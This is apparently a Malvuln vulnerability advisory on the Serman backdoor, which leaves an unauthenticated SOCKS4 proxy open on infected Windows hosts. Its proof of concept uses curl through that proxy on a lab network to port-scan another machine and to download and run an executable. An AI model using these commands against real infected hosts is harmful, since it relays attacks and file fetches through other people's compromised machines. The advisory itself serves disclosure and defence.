Backdoor.Win32.Serman.a / Unauthenticated Open Proxy

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/f312e3a436995b86b205a1a37b1bf10f.txt
Contact: [email protected]
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Backdoor.Win32.Serman.a
Vulnerability: Unauthenticated Open Proxy
Family: Serman
Type: PE32
MD5: f312e3a436995b86b205a1a37b1bf10f
Vuln ID: MVID-2022-0659
Disclosure: 11/22/2022
Description: The malware listens on TCP port 21422 by default but it can be changed. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.

E.g. using port 5555

SOCKS4 version 4A server (beta)
autor: Stanimir Jordanov * e-mail: [email protected]
Usage: socks4 <LocalPort> [LogFile]


C:\dump>wwm.exe 5555 out.txt
SOCKS 4 service started: redirecting localhost:5555
Press Ctrl+C to end ...
Connecting to: 192.168.18.128:80   ID:2C34
Connected to: 192.168.18.128:80   ID:2C34
Connection closed   ID:2C34
Connecting to: 192.168.18.128:80   ID:25BC
Connected to: 192.168.18.128:80   ID:25BC
Connection closed   ID:25BC
Connecting to: 192.168.18.128:80   ID:A4
Connected to: 192.168.18.128:80   ID:A4
Connection closed   ID:A4


Exploit/PoC:
Port scan:
Connecting to: 192.168.18.128:666   ID:2B04
Cannot connect to: 192.168.18.128:666   ID:2B04  
Connecting to: 192.168.18.128:21   ID:2DE4
Connected to: 192.168.18.128:21   ID:2DE4          
Connection closed   ID:2DE4

(Port scan):

(Port closed):
C:\Users\gg\Desktop>curl -x socks4://192.168.18.125:5555  http://192.168.18.128:666 -v
*   Trying 192.168.18.125:5555...
* SOCKS4 communication to 192.168.18.128:666
* SOCKS4 connect to IPv4 192.168.18.128 (locally resolved)
* Can't complete SOCKS4 connection to 0.0.0.0:0. (91), request rejected or failed.
* Closing connection 0
curl: (97) Can't complete SOCKS4 connection to 0.0.0.0:0. (91), request rejected or failed.

(Port open):
C:\Users\gg\Desktop>curl -x socks4://192.168.18.125:5555  http://192.168.18.128:21 -v
*   Trying 192.168.18.125:5555...
* SOCKS4 communication to 192.168.18.128:21
* SOCKS4 connect to IPv4 192.168.18.128 (locally resolved)
* SOCKS4 request granted.
* Connected to 192.168.18.125 (192.168.18.125) port 5555 (#0)
> GET / HTTP/1.1
> Host: 192.168.18.128:21
> User-Agent: curl/7.83.1
> Accept: */*
>
* Received HTTP/0.9 when not allowed
* Closing connection 0
curl: (1) Received HTTP/0.9 when not allowed


(Download files):
C:\Users\gg\Desktop>curl -x socks4://192.168.18.125:5555  http://192.168.18.128/DOOM.exe -v --output 2.txt
*   Trying 192.168.18.125:5555...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* SOCKS4 communication to 192.168.18.128:80
* SOCKS4 connect to IPv4 192.168.18.128 (locally resolved)
* SOCKS4 request granted.
* Connected to 192.168.18.125 (192.168.18.125) port 5555 (#0)
  GET /DOOM.exe HTTP/1.1
  Host: 192.168.18.128
  User-Agent: curl/7.83.1
  Accept: */*
 
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
  HTTP/1.0 200 OK
  Server: SimpleHTTP/0.6 Python/2.7.6
  Date: Tue, 22 Nov 2022 02:15:31 GMT
  Content-type: application/x-msdos-program
  Content-Length: 103533
  Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT
 
{ [6794 bytes data]
100  101k  100  101k    0     0   474k      0 --:--:-- --:--:-- --:--:--  488k
* Closing connection 0

C:\Users\gg\Desktop>2.txt
DOOMED!!!
Press any key to continue . . .


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